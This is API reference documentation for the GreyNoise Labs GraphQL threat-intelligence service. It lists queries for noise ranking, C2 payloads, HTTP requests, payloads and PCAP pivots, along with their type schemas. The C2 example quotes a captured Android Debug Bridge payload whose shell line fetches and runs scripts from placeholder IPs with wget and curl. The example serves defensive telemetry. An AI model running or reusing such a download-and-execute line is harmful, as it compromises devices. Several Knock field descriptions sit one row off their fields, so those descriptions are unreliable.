GreyNoise Labs API Reference
Welcome to the the GreyNoise Labs API!
You will need to sign-up for a GreyNoise account to use the API.
Once you have an account, check out our GraphQL Playground.
No SLA exists for this API and it is subject to change without notice as it should be considered experimental only.
Check out our new REST API proxy documentation for a new REST variant of this API.
API Endpoints
# Experimental GraphQL Endpoint:
https://api.labs.greynoise.io/1/query
Headers
# Tokens may be copied from the playground headers.
Authorization: Bearer <YOUR_TOKEN_HERE>
Data Limits
All API queries have a data limit that defaults to 1% of available data, or 10 results, whichever is greater. This limit is calculated on the filtered data set, not the raw data set. In some cases like C2s, the team has elected to lift the limit to 10%. Every response will include a queryInfo
field that will indicate the limit used for that query vs. the raw data available.
Rate Limits
All API queries have a rate limit.
API Clients
This is a GraphQL API, any GraphQL client that supports Bearer token Authorization should work. If you would like to use a similar environment to the Playground you can download the Altair desktop client.
Queries
generateGNQL
Description
Translate the input_text into usable GreyNoise GNQL queries.
Example
Query
query GenerateGNQL($input_text: String!) {
generateGNQL(input_text: $input_text) {
input_text
queries
}
}
Variables
{"input_text": "abc123"}
Response
{
"data": {
"generateGNQL": {
"input_text": "show me results starting in Brazil and targeting the US and are on port 22.",
"queries": [
"metadata.country_code:BR AND destination_country_code:US AND raw_data.scan.port:22"
]
}
}
}
noiseRank
Description
Return the top 1% of ranked IPs by noise score over the previous 7 days of traffic along with their pervasiveness and diversity scores for each scored metric. This endpoint also supports a single IP as input to pull it's specific noise rank information.
Response
Returns a NoiseRankResult!
Arguments
Name | Description |
---|---|
ip - String
|
Example
Query
query NoiseRank($ip: String) {
noiseRank(ip: $ip) {
queryInfo {
resultsAvailable
resultsLimit
}
ips {
ip
noise_score
sensor_pervasiveness
country_pervasiveness
payload_diversity
port_diversity
request_rate
}
}
}
Variables
{"ip": "xyz789"}
Response
{
"data": {
"noiseRank": {
"queryInfo": QueryInfo,
"ips": [NoiseRank]
}
}
}
pivot
Description
Convert the supplied PCAP file into either extracted metadata OR GNQL queries
Response
Returns a PivotResult!
Arguments
Name | Description |
---|---|
input - PivotInput!
|
Example
Query
query Pivot($input: PivotInput!) {
pivot(input: $input) {
... on GNQLResult {
queries {
...GNQLQueryFragment
}
}
... on PCAPResponse {
id
ips {
...PivotIPFragment
}
}
}
}
Variables
{"input": PivotInput}
Response
{"data": {"pivot": GNQLResult}}
topC2s
Description
Return the top 1% of C2s ranked by pervasiveness GreyNoise has observed over the previous 24 hours. This data may be up to 4.5 hours old.
Response
Returns a C2Result!
Example
Query
query TopC2s {
topC2s {
queryInfo {
resultsAvailable
resultsLimit
}
c2s {
source_ip
c2_ips
c2_domains
payload
hits
pervasiveness
}
}
}
Response
{
"data": {
"topC2s": {
"queryInfo": QueryInfo,
"c2s": [C2]
}
}
}
topHTTPRequests
Description
Return the top 1% of HTTP requests ranked by pervasiveness GreyNoise has observed over the last 7 days. This data may be up to 4.5 hours old. The '/' path has been removed as this is less useful in most contexts.
Response
Returns an HTTPResult!
Arguments
Name | Description |
---|---|
input - HTTPInput
|
Example
Query
query TopHTTPRequests($input: HTTPInput) {
topHTTPRequests(input: $input) {
queryInfo {
resultsAvailable
resultsLimit
}
httpRequests {
source_ip_count
request_count
pervasiveness
method
path
request_headers
source_ips
}
}
}
Variables
{"input": HTTPInput}
Response
{
"data": {
"topHTTPRequests": {
"queryInfo": QueryInfo,
"httpRequests": [HTTPRequest]
}
}
}
topKnocks
Description
Return the top 1% of Knock results by most recently seen that GreyNoise has scanned back over the last 7 days. This data may be up to 12 hours old. This endpoint also supports a single IP as input to pull it's specific knock information.
Response
Returns a KnockResult!
Arguments
Name | Description |
---|---|
ip - String
|
Example
Query
query TopKnocks($ip: String) {
topKnocks(ip: $ip) {
queryInfo {
resultsAvailable
resultsLimit
}
knock {
last_crawled
last_seen
source_ip
knock_port
title
favicon_mmh3_32
favicon_mmh3_128
jarm
ips
emails
links
tor_exit
headers
apps
}
}
}
Variables
{"ip": "xyz789"}
Response
{
"data": {
"topKnocks": {
"queryInfo": QueryInfo,
"knock": [Knock]
}
}
}
topPayloads
Description
Return the top 1% of payloads ranked by pervasiveness GreyNoise has observed over the last 7 days. This data may be up to 4.5 hours old.
Response
Returns a PayloadResult!
Arguments
Name | Description |
---|---|
input - PayloadInput
|
Example
Query
query TopPayloads($input: PayloadInput) {
topPayloads(input: $input) {
queryInfo {
resultsAvailable
resultsLimit
}
payloads {
source_ip_count
request_count
pervasiveness
protocol
size
payload
payload_b64
sha256_sum
source_ips
countries
}
}
}
Variables
{"input": PayloadInput}
Response
{
"data": {
"topPayloads": {
"queryInfo": QueryInfo,
"payloads": [Payload]
}
}
}
topPopularIPs
Description
Return the top 1% of IPs searched in GreyNoise ordered by the number of users observed over the last 7 days. This data may be up to 4.5 hours old. and then the number of times it was requested.
Response
Returns a PopularIPResult!
Example
Query
query TopPopularIPs {
topPopularIPs {
queryInfo {
resultsAvailable
resultsLimit
}
popularIPs {
ip
request_count
users_count
last_requested
noise
last_seen
}
}
}
Response
{
"data": {
"topPopularIPs": {
"queryInfo": QueryInfo,
"popularIPs": [PopularIP]
}
}
}
Types
Boolean
Description
The Boolean
scalar type represents true
or false
.
Example
true
C2
Fields
Field Name | Description |
---|---|
source_ip - ID!
|
The source IP that sent the payload. |
c2_ips - [String]!
|
The potential IPs used within this payload. |
c2_domains - [String]!
|
The potential C2 domains used within this payload. |
payload - String!
|
The ASCII escaped payload observed by a GreyNoise Sensor containing content that appears to communicate with a command and control server. |
hits - Int!
|
|
pervasiveness - Int!
|
A score from 0 - 100 that indicates how widespread this payload was across the internet. A score of 0 indicates that less than 1% of they GreyNoise fleet saw this specific payload. |
Example
{
"source_ip": "1.2.3.4",
"c2_ips": ["5.6.7.8", "9.10.11.12"],
"c2_domains": ["example.com"],
"payload": "CNXN\u0000\u0000\u0000\u0001\u0000\u0000\u0004\u0000\u001b\u0000\u0000\u0000M\n\u0000\u0000����host::features=cmd,shell_v2OPENX\u0001\u0000\u0000\u0000\u0000\u0000\u0000:\u0001\u0000\u0000�`\u0000\u0000����shell:cd /data/local/tmp/; busybox wget http://5.6.7.8/w.sh; sh w.sh; curl http://9.10.11.12/c.sh; sh c.sh; wget http://5.6.7.8/wget.sh; sh wget.sh; curl http://9.10.11.12/wget.sh; sh wget.sh; busybox wget http://5.6.7.8/wget.sh; sh wget.sh; busybox curl http://9.10.11.12/wget.sh; sh wget.sh\u0000",
"hits": 183,
"pervasiveness": 60
}
C2Result
Fields
Field Name | Description |
---|---|
queryInfo - QueryInfo!
|
|
c2s - [C2!]!
|
Example
{
"queryInfo": QueryInfo,
"c2s": [C2]
}
GNQLQuery
Fields
Field Name | Description |
---|---|
type - String!
|
|
urls - [String!]!
|
Example
{
"type": "xyz789",
"urls": ["xyz789"]
}
GNQLResult
Fields
Field Name | Description |
---|---|
queries - [GNQLQuery!]!
|
Example
{"queries": [GNQLQuery]}
HTTPInput
Fields
Input Field | Description |
---|---|
userAgent - String
|
Specify the user-agent to filter on. This is case sensitive. |
Example
{"userAgent": "abc123"}
HTTPRequest
Fields
Field Name | Description |
---|---|
source_ip_count - Int!
|
The total number of source IPs that sent this HTTP request. |
request_count - Int!
|
The total number of times GreyNoise observed this HTTP request. |
pervasiveness - Int!
|
A score from 0 - 100 that indicates how widespread this payload was across the internet. A score of 0 indicates that less than 1% of they GreyNoise fleet saw this specific payload. |
method - String!
|
The HTTP Method used in the request. |
path - String!
|
|
request_headers - [String!]!
|
The HTTP headers as a single "k:v,k:v" string used in this request. |
source_ips - [String!]!
|
The source IPs that this request was seen from. |
Example
{
"source_ip_count": 10,
"request_count": 1949,
"pervasiveness": 98,
"method": "GET",
"path": "/_stats",
"request_headers": [
"[Connection:close, Accept-Encoding:gzip, User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36]"
],
"source_ips": ["1.2.3.4", "4.5.6.7"]
}
HTTPResult
Fields
Field Name | Description |
---|---|
queryInfo - QueryInfo!
|
|
httpRequests - [HTTPRequest!]!
|
Example
{
"queryInfo": QueryInfo,
"httpRequests": [HTTPRequest]
}
ID
Description
The ID
scalar type represents a unique identifier, often used to refetch an object or as key for a cache. The ID type appears in a JSON response as a String; however, it is not intended to be human-readable. When expected as an input type, any string (such as "4"
) or integer (such as 4
) input value will be accepted as an ID.
Example
4
Int
Description
The Int
scalar type represents non-fractional signed whole numeric values. Int can represent values between -(2^31) and 2^31 - 1.
Example
987
Knock
Fields
Field Name | Description |
---|---|
last_crawled - Time!
|
|
last_seen - Time!
|
The approximate time that GreyNoise crawled this source_ip. |
source_ip - String!
|
The last time GreyNoise observed traffic from the source_ip. |
knock_port - Int!
|
The IPv4 addresses that was observed by GreyNoise and scanned back. |
title - String!
|
The HTTP/S port used to crawl the source_ip. |
favicon_mmh3_32 - Int!
|
The HTTP title from the response. |
favicon_mmh3_128 - String!
|
The base-64 encoded 128-bit Murmur3 hash of the favicon.ico. |
jarm - String!
|
The detected JARM hash of services running at the target port. |
ips - [String!]!
|
The list of IPv4 addresses extracted from the HTTP request body. |
emails - [String!]!
|
The list of emails extracted from the HTTP request body. |
links - [String!]!
|
The list of HTTP links extracted from the HTTP request body. |
tor_exit - Boolean!
|
Is this IP a known Tor exit node. |
headers - String!
|
The list of response headers returned from the HTTP request. |
apps - String!
|
The list of applications that were detected in the HTTP response body and their associated versions if detected. |
Example
{
"last_crawled": "2023-05-11T20:28:45Z",
"last_seen": "2023-05-11T16:25:04Z",
"source_ip": "141.212.122.142",
"knock_port": 80,
"title": "Connection attempts",
"favicon_mmh3_32": -1561873722,
"favicon_mmh3_128": "gAt6r5W0xcNAH8HhOfwVpw==",
"jarm": "07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1",
"ips": [
"141.212.120.0",
"141.212.121.0",
"141.212.122.0",
"141.212.124.0",
"141.212.125.0",
"141.212.123.0"
],
"emails": ["scan-admin@umich.edu"],
"links": ["https://cse.engin.umich.edu"],
"tor_exit": false,
"headers": {
"Accept-Ranges": ["bytes"],
"Content-Length": ["364"],
"Content-Type": ["text/html"],
"Date": ["Fri, 12 May 2023 05:29:35 GMT"],
"Etag": ["\"1428014595\""],
"Last-Modified": ["Tue, 02 Feb 2021 02:02:30 GMT"],
"Server": ["lighttpd/1.4.55"],
"X-Frame-Options": ["SAMEORIGIN"]
},
"apps": [{"app_name": "lighttpd", "version": "1.4.55"}]
}
KnockResult
Fields
Field Name | Description |
---|---|
queryInfo - QueryInfo!
|
|
knock - [Knock!]!
|
Example
{
"queryInfo": QueryInfo,
"knock": [Knock]
}
NoiseGPT
Example
{
"input_text": "show me results starting in Brazil and targeting the US and are on port 22.",
"queries": [
"metadata.country_code:BR AND destination_country_code:US AND raw_data.scan.port:22"
]
}
NoiseRank
Fields
Field Name | Description |
---|---|
ip - String!
|
The source IP that sent packets to a GreyNoise sensor. |
noise_score - Int!
|
An aggregate noise score from 0-100 that shows how noisy a given source IP is. |
sensor_pervasiveness - String!
|
A 5 category breakdown from very low, low, med, high, very high, that describes how many of the GreyNoise sensors observed this source IP. |
country_pervasiveness - String!
|
A 5 category breakdown from very low, low, med, high, very high, that describes how many of the destination countries observed this source IP. |
payload_diversity - String!
|
A 5 category breakdown from very low, low, med, high, very high, that describes how many distinct payloads were seen from this source IP. |
port_diversity - String!
|
One of the following cat very low, low, med, high, very high, that describes how many distinct ports received packets from this source IP. |
request_rate - String!
|
A 5 category breakdown from very low, low, med, high, very high, that describes how many packets were seen overall from this source IP. |
Example
{
"ip": "1.2.3.4",
"noise_score": 89,
"sensor_pervasiveness": "very low",
"country_pervasiveness": "low",
"payload_diversity": "med",
"port_diversity": "high",
"request_rate": "very high"
}
NoiseRankResult
Fields
Field Name | Description |
---|---|
queryInfo - QueryInfo!
|
|
ips - [NoiseRank!]!
|
Example
{
"queryInfo": QueryInfo,
"ips": [NoiseRank]
}
PCAPResponse
Fields
Field Name | Description |
---|---|
id - String!
|
|
ips - [PivotIP!]!
|
Example
{
"id": "741912a3-8f19-4004-a089-35c7c5f8bbf2",
"ips": [PivotIP]
}
Payload
Fields
Field Name | Description |
---|---|
source_ip_count - Int!
|
The total number of source IPs that sent this HTTP request. |
request_count - Int!
|
The total number of times GreyNoise observed this HTTP request. |
pervasiveness - Int!
|
A score from 0 - 100 that indicates how widespread this payload was across the internet. A score of 0 indicates that less than 1% of they GreyNoise fleet saw this specific payload. |
protocol - String!
|
The transport layer protcol observed.. |
size - Int!
|
The size of the original (pre-truncation) payload in bytes. |
payload - String!
|
The first 1kb of the observed payload as UTF-8 escaped. |
payload_b64 - String!
|
The first 1kb of the observed payload as base64 of the raw binary. |
sha256_sum - String!
|
SHA256 of the entire original payload (while the 1Kb truncation does not apply here, we do truncate to 10240Kb on the sensor). |
source_ips - [String!]!
|
The source IPs that this payload was seen from. |
countries - [String!]!
|
The destination countries where a GreyNoise sensor observed this payload. |
Example
{
"source_ip_count": 10,
"request_count": 1949,
"pervasiveness": 98,
"protocol": "TCP",
"size": 56,
"payload": "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0 Connection: close",
"payload_b64": "R0VUIC9uaWNlJTIwcG9ydHMlMkMvVHJpJTZFaXR5LnR4dCUyZWJhayBIVFRQLzEuMA0KQ29ubmVjdGlvbjogY2xvc2UNCg0K",
"sha256_sum": "fe477b15f73801346f124bef47235b73f7a373dd12ff05e67789192b1e73f4ac",
"source_ips": ["1.2.3.4", "4.5.6.7"],
"countries": ["France", "Belgium"]
}
PayloadInput
PayloadResult
Fields
Field Name | Description |
---|---|
queryInfo - QueryInfo!
|
|
payloads - [Payload!]!
|
Example
{
"queryInfo": QueryInfo,
"payloads": [Payload]
}
PivotIP
Fields
Field Name | Description |
---|---|
ip - String!
|
The IP that was extracted from the PCAP. |
firstPacketTime - Time!
|
The first time this IP was observed in the PCAP. |
lastPacketTime - Time!
|
The last time this IP was observed in the PCAP. |
portCounts - [PortCount!]!
|
The number of times this IP sent packets to each TCP or UDP port. |
paths - [String!]!
|
The unique list of HTTP request paths that were observed in the PCAP. |
userAgents - [String!]!
|
The unique list of HTTP user agent headers that were observed in the PCAP. |
ja3 - [String!]!
|
The unique list of JA3 signatures that were observed in the PCAP. |
hassh - [String!]!
|
The unique list of HASSH signatures that were observed in the PCAP. |
hostnames - [String!]!
|
The unique list of hostnames that were observed in the PCAP. These include names from DNS queries, SNI, and HTTP requests. |
Example
{
"ip": "1.2.3.4",
"firstPacketTime": "2006-01-02T15:04:05.999999-0700",
"lastPacketTime": "2006-01-02T15:04:05.999999-0700",
"portCounts": [PortCount],
"paths": [
"/filestreamingservice/files/2132f61f-f790-4ae6-a355-8cf9a1533800",
"/filestreamingservice/files/d6dac2cd-b55a-4a7d-aeb4-1cff97bb9dd4",
"/filestreamingservice/files/b22f5f18-f7ea-4290-929d-b13c03908334"
],
"userAgents": [
"Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.963"
],
"ja3": ["3c293bdf2a25c07559b560ba86debc77"],
"hassh": ["b5752e36ba6c5979a575e43178908adf"],
"hostnames": ["example.com"]
}
PivotInput
PivotResult
Types
Union Types |
---|
Example
GNQLResult
PopularIP
Fields
Field Name | Description |
---|---|
ip - String!
|
The IP that was searched by a collection of GreyNoise users. |
request_count - Int!
|
The number of times this IP was requested by all users. |
users_count - Int!
|
The number of users that requested this IP. |
last_requested - Time!
|
The last time this IP was requested. |
noise - Boolean!
|
This IP was observed by GreyNoise sensors. |
last_seen - Time
|
The last time this IP was observed by GreyNoise sensors. |
Example
{
"ip": "1.2.3.4",
"request_count": 22314,
"users_count": 475,
"last_requested": "2023-05-11T16:25:04Z",
"noise": true,
"last_seen": "2023-05-11T16:25:04Z"
}
PopularIPResult
Fields
Field Name | Description |
---|---|
queryInfo - QueryInfo!
|
|
popularIPs - [PopularIP!]!
|
Example
{
"queryInfo": QueryInfo,
"popularIPs": [PopularIP]
}
PortCount
QueryInfo
String
Description
The String
scalar type represents textual data, represented as UTF-8 character sequences. The String type is most often used by GraphQL to represent free-form human-readable text.
Example
"abc123"
Time
Example
"10:15:30Z"
Upload
Example
Upload